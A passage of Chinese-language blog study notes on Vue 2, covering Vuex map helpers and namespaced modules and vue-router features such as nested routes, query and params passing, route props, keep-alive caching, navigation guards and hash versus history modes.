				return this.$store.getters.bigSum
			}, */

			//借助mapGetters生成计算属性,从getters中读取数据。(对象写法)
			...mapGetters({bigSum:'bigSum'})
			
			//借助mapGetters生成计算属性,从getters中读取数据。(数组写法)
			// ...mapGetters(['bigSum'])

		}
	}
</script>

mapActions与mapMutations

与mapState、mapGetters类似,mapActions与mapMutations也是为了简化,简化调用actions和mutations中的方法时而频繁要用到的前缀this.$store.dispatchthis.$store.commit

使用mapActions与mapMutations时,传递的参数要在模板中写好

<template>
	<div>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<!-- 使用mapActions与mapMutations时,传递的参数要在模板中写好 -->
		<button @click="increment(n)">+</button>
		<button @click="decrement(n)">-</button>
		<button @click="incrementOdd(n)">当前求和为奇数再加</button>
		<button @click="incrementWait(n)">等一等再加</button>
	</div>
</template>

<script>
    // 记得引入该模块
	import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
			}
		},
		methods: {
			//程序员亲自写方法
			/* increment(){
				this.$store.commit('JIA',this.n)
			},
			decrement(){
				this.$store.commit('JIAN',this.n)
			}, */

			//借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
			...mapMutations({increment:'JIA',decrement:'JIAN'}),

			//借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(数组写法)
			// ...mapMutations(['JIA','JIAN']),//简写形式注意模板中使用的函数名要对应
			// <button @click="JIA(n)">+</button>
			// <button @click="JIAN(n)">-</button>

			/* ************************************************* */

			//程序员亲自写方法
			/* incrementOdd(){
				this.$store.dispatch('jiaOdd',this.n)
			},
			incrementWait(){
				this.$store.dispatch('jiaWait',this.n)
			}, */

			//借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
			...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

			//借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(数组写法)
			// ...mapActions(['jiaOdd','jiaWait'])
		},
	}
</script>

多组件共享数据实例

如下图所示,实现Count, Person组件贡献state中的数据(sum, persons等)

image-20230508135138938 动画7

实现该功能的目录结构如下

image-20230508135047094

main.js

//引入Vue
import Vue from 'vue'
// 引入
import store from './store/index.js'
// 引入App
import App from './App.vue'
new Vue({
    el:'#app',
    components:{App},
    render:h=>h(App),
    beforeCreate(){
        Vue.prototype.$bus=this
    },
    store
})

index.js

import Vue from 'vue'
import Vuex from 'vuex'
Vue.use(Vuex)
// 存与请求服务器数据相关的操作
const actions={
    
    jiaOdd(obj,n){
        if(obj.state.sum%2){
            // console.log(obj);
            obj.commit('JIA',n)
        }
    },
    jiaWait(obj,n){
        setTimeout(() => {
            obj.commit('JIA',n)
        }, 1000);
    }
}
// 存不需要请求服务器数据的操作
const mutations={
    JIA(obj,n){
        // console.log(obj);

        obj.sum+=n
    },
    JIAN(obj,n){
        obj.sum-=n
    },
    ADD_PERSON(obj,person){
        obj.persons.unshift(person)
    }
}
// state存共享的数据
const state={
    sum:0,
    persons:[{id:'001',name:'张三'}]
}
const getters={
    bigSum(state){
        // console.log(state);
        return state.sum*10
    }
}
export default new Vuex.Store({
    actions,
    mutations,
    state,
    getters
})

App.vue

<template>
  <div>
    <Count/>
    <Person/>
  </div>
</template>

<script>
import Count from './components/Count.vue'
import Person from './components/Person.vue'

export default {
    components:{Count,Person}
}
</script>

Count.vue

<template>
  <div>
    <h1>当前求和为{{sum}}</h1>
    <h4>和的10倍为{{bigSum}}</h4>
    <h4 style="color:red;">Person组件总人数是:{{persons.length}}</h4>
    <select v-model.number="n">
      <option value="1">1</option>
      <option value="2">2</option>
      <option value="3">3</option>
    </select>
    <button @click="JIA(n)">+</button>
    <button @click="JIAN(n)">-</button>
    <button @click="jiaOdd(n)">当前和为奇数才加</button>
    <button @click="jiaWait(n)">过一会再加</button>
  </div>
</template>

<script>
import {mapState,mapGetters,mapActions,mapMutations} from 'vuex'
export default {
  data() {
    return {
      n: 1,
    };
  },
  computed:{
    ...mapState(['sum','persons']),
    ...mapGetters(['bigSum'])
  },
  methods:{
    ...mapMutations(['JIA','JIAN']),
    ...mapActions(['jiaOdd','jiaWait'])
  }
};
</script>

<style>
button {
  margin-left: 5px;
}
</style>

Person.vue

<template>
  <div>
    <h1>人员列表</h1>
    <h4 style="color:red;">Count组件求和为{{sum}}</h4>
    <input type="text" placeholder="请输入名字" v-model="name">
    <button @click="addPerson(name)">添加</button>
    <ul>
        <li v-for="p in persons" :key="p.id">{{p.name}}</li>
    </ul>
  </div>
</template>

<script>
import { nanoid } from 'nanoid'
import {mapState} from 'vuex'
export default {
  data() {
    return {
      name: '',
    };
  },
  computed:{
    ...mapState(['persons','sum']),
  },
  methods:{
    addPerson(name){
        let person={id:nanoid(),name:name}
        this.$store.commit('ADD_PERSON',person)
        this.name=''
    }
    
  }
};
</script>

<style>
button {
  margin-left: 5px;
}
</style>

Vuex模块化

  1. 目的:让代码更好维护,让多种数据分类更加明确。
    用mapState,mapGetters来读取模块的数据, mapActions, mapMutations调用模块中的函数时,需开启命名空间, 即在模块中设置namespaced:true,这样才能读取到模块(第一个参数就是模块名)。
    基于多组件数据共享实例改造
    person组件实例结构如下
    image-20230508201102780

  2. 书写格式

    store.js内容如下

    // 计数模块的数据与方法
    const countAbout = {
      namespaced:true,
      state:{x:1},
      mutations: { ... },
      actions: { ... },
      getters: {
        bigSum(state){
           return state.sum * 10
        }
      }
    }
    // 人员模块的数据与方法
    const personAbout = {
      namespaced:true,//开启命名空间
      state:{ ... },
      mutations: { ... },
      actions: { ... }
    }
    // 创建Vuex.Store()对象时,用modules配置项注册模块
    const store = new Vuex.Store({
      modules: {
        countAbout,
        personAbout
      }
    })
    
  3. 开启命名空间后,组件中读取state数据:

    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取:
    ...mapState('countAbout',['sum','school','subject']),
    
  4. 开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    // 不能这样写this.$store.getters.'personAbout/firstPersonName',因为用`.`读取属性时,要求属性名字符串中不能有特殊符号,斜线是特殊符号。应用中括号读取`[]`
    this.$store.getters['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
    
  5. 开启命名空间后,组件中调用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
  6. 开启命名空间后,组件中调用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
    

state比较特殊,state对象下还存了只具有模块自己的state数据的模块对象,其余的getters, actions, mutations都是以路径形式的字符串表示模块下的数据和方法

路由

  1. 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
  2. 前端路由:key是路径,value是组件。

1.基本使用

image-20230509152051333
  1. 安装vue-router,命令:npm i vue-router

  2. 引入VueRouter, import VueRouter from 'vue-router'

  3. 应用插件:Vue.use(VueRouter)

  4. 在src/router/index.js中创建VueRouter实例:

    //引入VueRouter
    import VueRouter from 'vue-router'
    //记得引入路由组件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //创建并暴露router实例对象,去管理一组一组的路由规则(key-value)
    export default new VueRouter({
       routes:[
          {
             path:'/about',
             component:About
          },
          {
             path:'/home',
             component:Home
          }
       ]
    })
    
  5. main.js引入插件,并使用插件。同时引入router/index.js文件

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由器
import router from './router'// 可以省略不写index.js

//关闭Vue的生产提示
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	router:router
})
  1. 实现切换(active-class可配置高亮样式)
    <router-link></router-link>是实现切换的标签
<router-link active-class="active" to="/about">About</router-link>
  1. 指定展示位置

    <router-view></router-view>
    

2.几个注意点

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
    image-20230508233439989
  2. 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息。同一应用不同组件的$route属性值不同
  4. 整个应用只有一个router,可以通过组件的$router属性获取到。同一应用不同组件的$router属性值相同
image-20230508231314507

3.多级路由(多级路由)

image-20230509151946111
  1. 配置路由规则,使用children配置项:

    routes:[
       {
          path:'/about',
          component:About,
       },
       {
          path:'/home',
          component:Home,
          children:[ //通过children配置子级路由
             {
                path:'news', //此处一定不要写:/news, 因为会自动加斜杠`/`
                component:News
             },
             {
                path:'message',//此处一定不要写:/message
                component:Message
             }
          ]
       }
    ]
    
  2. 跳转(要写完整路径):

    <router-link to="/home/news">News</router-link>
    

4.路由的query参数

image-20230509151849766
  1. 传递参数

    <!-- 跳转并携带query参数,to的字符串写法 -->
    <!-- 不含变量 -->
    <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
    <!-- 包含变量to.id,to.title -->
    <router-link :to="`/home/message/detail?id=${to.id}&title=${to.title}`">跳转</router-link>
    <!-- 跳转并携带query参数,to的对象写法 -->
    <router-link 
       :to="{
          path:'/home/message/detail',
          query:{
             id:666,
             title:'你好'
          }
       }"
    >跳转</router-link>
    
  2. 接收参数:
    路径上携带的参数存在了组件的$route.query对象中

    $route.query.id
    $route.query.title
    

5.命名路由

  1. 作用:可以简化路由的跳转。

  2. 如何使用

    1. 给路由命名:

      {
         path:'/demo',
         component:Demo,
         children:[
            {
               path:'test',
               component:Test,
               children:[
                  {
                     name:'hello' //给路由命名,事实上路由名字一般就是组件名的小写,这里为了区分而写地不一样
                     path:'welcome',
                     component:Hello,
                  }
               ]
            }
         ]
      }
      
      1. 简化跳转:

        <!--简化前,需要写完整的路径 -->
        <router-link to="/demo/test/welcome">跳转</router-link>
        <!-- 注意用name来跳转的话需要配置成变量:to,并且值是对象 -->
        <!--简化后,直接通过名字跳转 -->
        <router-link :to="{name:'hello'}">跳转</router-link>
        
        <!--简化写法配合传递参数 -->
        <router-link 
           :to="{
              name:'hello',
              query:{
                 id:666,
                    title:'你好'
              }
           }"
        >跳转</router-link>
        

6.路由的params参数

  1. 配置路由,声明接收params参数

    {
       path:'/home',
       component:Home,
       children:[
          {
             path:'news',
             component:News
          },
          {
             component:Message,
             children:[
                {
                   name:'xiangqing',
                   path:'detail/:id/:title', //使用占位符声明接收params参数
                   component:Detail
                }
             ]
          }
       ]
    }
    
  2. 传递参数

    <!-- 跳转并携带params参数,to的字符串写法 -->
    <router-link :to="/home/message/detail/666/你好">跳转</router-link>
                
    <!-- 跳转并携带params参数,to的对象写法 -->
    <router-link 
       :to="{
          name:'xiangqing',
          params:{
             id:666,
             title:'你好'
          }
       }"
    >跳转</router-link>
    

    特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

  3. 接收参数:
    params参数存在组件对象的$route.params对象里

    $route.params.id
    $route.params.title
    

7.路由的props配置

作用:让路由组件更方便地收到参数,避免使用数据时多次引用this.$route.query, this.$route.params等这些前缀

  • src/router/index.js中的配置
{
   name:'xiangqing',
   path:'detail/:id',
   component:Detail,

   //第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件,但这种方法只能把固定的数据写进去,不灵活,用得少
   // props:{a:900}

   //第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件(但对query参数不生效)
   // props:true
   
   //第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件。函数的形参是该组件的$route对象,所以$route对象中的数据都可以过去
   props(route){
      return {
         id:route.query.id,
         title:route.query.title
      }
   }
}
  • 组件用props接收
    Detail.vue
export default {
      name:'Detail',
      // 记得组件中也要用props来接收数据
      props:['id','title'],
      computed: {
         // 避免了重复引用`this.$route.query`等这些前缀
         // id(){
         //    return this.$route.query.id
         // },
         // title(){
         //    return this.$route.query.title
         // },
      },
      mounted() {
         // console.log(this.$route)
      },
   }

8.<router-link>的replace属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式。浏览器的浏览记录是以栈的形式存储的,有一个指针标记当前浏览的路径,浏览器窗口的前进和后退按钮控制指针的移动方向

  2. 浏览器的历史记录有两种写入方式:分别为pushreplacepush是追加历史记录(入栈),replace是替换当前记录(替换栈顶)。路由跳转时候默认为push
    push方式
    image-20230509164040183

    replace方式
    image-20230509163824321

  3. 开启replace模式:在router-link标签中添加属性replace, 例如<router-link replace .......>News</router-link>

9.编程式路由导航

因为<router-link></router-link>最终被解析为<a></a>,有些业务场景不是通过链接来跳转路由的,比如点击按钮来实现跳转,或者3s后自动跳转路由,这些情况用<router-link></router-link>要么破坏了原有的结构,要么无法实现需求。这种情况下需要调用组件$router对象中的push或replace方法实现路由跳转。push方法就是以push方式跳转(跳转记录入栈),replace方法就是以replace方式跳转(当前跳转记录替换前一个跳转记录)

  1. 作用:不借助<router-link> 实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
       name:'xiangqing',
          params:{
             id:xxx,
             title:xxx
          }
    })
    
    this.$router.replace({
       name:'xiangqing',
          params:{
             id:xxx,
             title:xxx
          }
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go(n) //可前进也可后退, n为正时前进n步,n为负时后退n步
    

10.缓存路由组件

问题:如下图所示,在News组件中输入内容,再切换到Message组件,再切换回News组件,输入框的内容不见了

原因:切换路由时不需要显示的路由被销毁了,所以输入数据也会清除

动画8

解决办法:使用<keep-alive></keep-alive>标签包裹<router-view></router-view>组件<keep-alive>中的属性include可以指定特定的组件不被销毁,若不指定该属性,默认所有可映射到该<router-view>标签的组件在切换路由时数据都不会被销毁。include属性指定的是组件名,就是组件的name属性

  1. 缓存路由组件作用:让不展示的路由组件保持挂载,不被销毁

  2. 具体编码:

<!-- 单个组件挂载 -->
<keep-alive include="News"> 
	<router-view></router-view>
</keep-alive>
<!-- 多个组件挂载,写成数组形式 -->
<keep-alive :include=["News","Message"]> 
	<router-view></router-view>
</keep-alive>

效果如下

动画9

11.路由组件特有的生命周期钩子

  1. 作用:用于捕获路由组件的激活状态。
  2. 具体名字:
    1. activated路由组件被激活时触发。
    2. deactivated路由组件失活时触发。

示例:

<template>
	<ul>
		<li :style="{opacity}">欢迎学习Vue</li>
		<li>news001 <input type="text"></li>
		<li>news002 <input type="text"></li>
		<li>news003 <input type="text"></li>
	</ul>
</template>

<script>
	export default {
		name:'News',
		data() {
			return {
				opacity:1
			}
		},
        // 注释的这种方法虽然在该路由显现时关闭了定时器,但同时也把输入框的数据清空了
		/* beforeDestroy() {
			console.log('News组件即将被销毁了')
			clearInterval(this.timer)
		}, */
		/* mounted(){
			this.timer = setInterval(() => {
				console.log('@')
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		}, */
        // 使用路由特有的生命周期钩子可以控制定时器的关闭与开启,并且保留了输入框中的数据
		activated() {
			console.log('News组件被激活了')
			this.timer = setInterval(() => {
				console.log('@')
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		},
		deactivated() {
			console.log('News组件失活了')
			clearInterval(this.timer)
		},
	}
</script>

12.路由守卫

  1. 作用:对路由进行权限控制,控制是否要切换路由

  2. 适用场景:只有登录了的用户或特定用户才有查看相应路由组件的权限

  3. 分类:全局守卫、独享守卫、组件内守卫

  4. meta属性用于存放程序员自定义的属性
    比如index.js中

    new VueRouter({
    	routes:[
            {
    			name:'xinwen',
    			path:'news',
    			component:News,
    			meta:{isAuth:true,title:'新闻'
            }
        ]
    })
    
    1. 全局守卫(写在配置文件src/router/index.js中, VueRouter({})之外)
//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
   console.log('beforeEach',to,from)
   if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
      if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
         next() //放行
      }else{
         alert('暂无权限查看')
         // next({name:'guanyu'})
      }
   }else{
      next() //放行
   }
})

//全局后置守卫:初始化时执行、每次路由切换后执行,用于配置路由切换成功后才执行的操作
router.afterEach((to,from)=>{
   console.log('afterEach',to,from)
   if(to.meta.title){ 
      document.title = to.meta.title //路由切换成功后才修改网页的title
   }else{
      document.title = 'vue_test'
   }
})

初次执行时参数to和from很多是空的

image-20230509221746162

切换路由,to和from存储着前往路由及来源路由的路径path和路由名称name等信息
image-20230509222233231

  1. 独享守卫(写在配置文件src/router/index.js中, VueRouter({})之内)

放在src/router/index.js 路由的beforeEnter配置中(可以简写成beforeEnter函数形式)

注意独享守卫只有前置,没有后置

{
  name:'xinwen',
  path:'news',
  component:News,
  meta:{isAuth:true,title:'新闻'},
  eforeEnter(to,from,next){
   console.log('beforeEnter',to,from)
   if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
     if(localStorage.getItem('school') === 'atguigu'){
      next()
     }else{
      alert('暂无权限查看')
      // next({name:'guanyu'})
     }
   }else{
     next()
   }
  }
}
  1. 组件内守卫:(写在xxx.vue文件的组件对象中)
    注意beforeRouteLeave是离开该路由时才调用,不像router.afterEach是成功切换路由后就立即调用
    书写格式
//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
   next()// 放行,若不放行则不会成功切换到该路由
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
   next()// 放行,若不放行则不会成功切走该路由
}

示例

<template>
   <h2>我是About的内容</h2>
</template>

<script>
   export default {
      name:'About',
      //通过路由规则,进入该组件时被调用
      beforeRouteEnter (to, from, next) {
         console.log('About--beforeRouteEnter',to,from)
         if(to.meta.isAuth){ //判断是否需要鉴权
            if(localStorage.getItem('school')==='atguigu'){
               next()
            }else{
               alert('学校名不对,无权限查看!')
            }
         }else{
            next()
         }
      },

      //通过路由规则,离开该组件时被调用
      beforeRouteLeave (to, from, next) {
         console.log('About--beforeRouteLeave',to,from)
         next()
      }
   }
</script>

13.路由器的两种工作模式

  1. 对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。
  2. hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器作为请求地址。
  3. hash模式:
    1. 地址中永远带着#号,不美观 。
    2. 若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
    3. 兼容性较好。
  4. history模式:
    1. 地址干净,美观 。
    2. 兼容性和hash模式相比略差。服务器会把原本在hash模式中作为hash值的部分当做请求地址的一部分
    3. 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。

命令说明
-S: 生产依赖
-D: 开发依赖

点击查看代码


posted @ 2023-05-15 15:05  Code6E  阅读(90)  评论(0)    收藏  举报